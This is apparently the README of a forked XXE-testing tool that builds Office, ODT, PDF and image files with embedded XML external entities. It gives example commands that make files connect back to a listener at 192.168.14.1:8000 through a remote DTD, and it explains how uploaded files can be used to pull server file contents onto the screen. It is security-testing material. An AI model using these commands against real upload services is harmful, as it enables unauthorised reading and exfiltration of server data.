stefanmichielse/generate_xxe_payloads

This tool is just after the first refactoring pushed. Original is from Will Vandevanter (BuffaloWill). Only rearrange the code which will eventually make it easier to maintain and add new payloads.

oxml_xxe

This tool is meant to help test XXE vulnerabilities in OXML document file formats. Currently supported:

• DOCX/XLSX/PPTX
• ODT
• PDF
• JPG
• GIF (experimental)

BH USA 2015 Presentation:

Exploiting XXE in File Upload Functionality (Slides) (Recorded Webcast)

Blog Posts on the topic:

Exploiting XXE Vulnerabilities in OXML Documents - Part 1

Installation

Installation is easy, you will need a copy of Ruby and two gems.

gem install highline
gem install zipruby

or

gem install bundler
bundle install

Quick Examples

Build a PDF with XXE in XMP (metadata)

ruby oxml_xxe.rb --poc pdf -i 192.168.14.1:8000

Build a DOCX with XXE (connecting back to 192.168.14.1:8000)

ruby oxml_xxe.rb -s -i 192.168.14.1:8000

Select payload 11 ("remote_DTD")

Build a XLSX with XXE (connecting back to ftp://192.168.14.1:8000)

ruby oxml_xxe.rb -f samples/sample.xlsx -s -i ftp://192.168.14.1:8000

Select payload 11 ("remote_DTD")

Main Modes

There are two main modes:

Build Mode ("-b")

Build mode adds a DOCTYPE and inserts the XML Entity into the file of the users choice.

String Replacement Mode ("-s")

String replacement mode goes through and looks for the symbol § in the document. The XML Entity ("&xxe;") replaces any instances of this symbol. Note, you can open the document in and insert § anywhere to have it replaced. The common use case would be a web application which reads in a xlsx and then prints the results to the screen. Exploiting the XXE it would be possible to have the contents printed to the screen.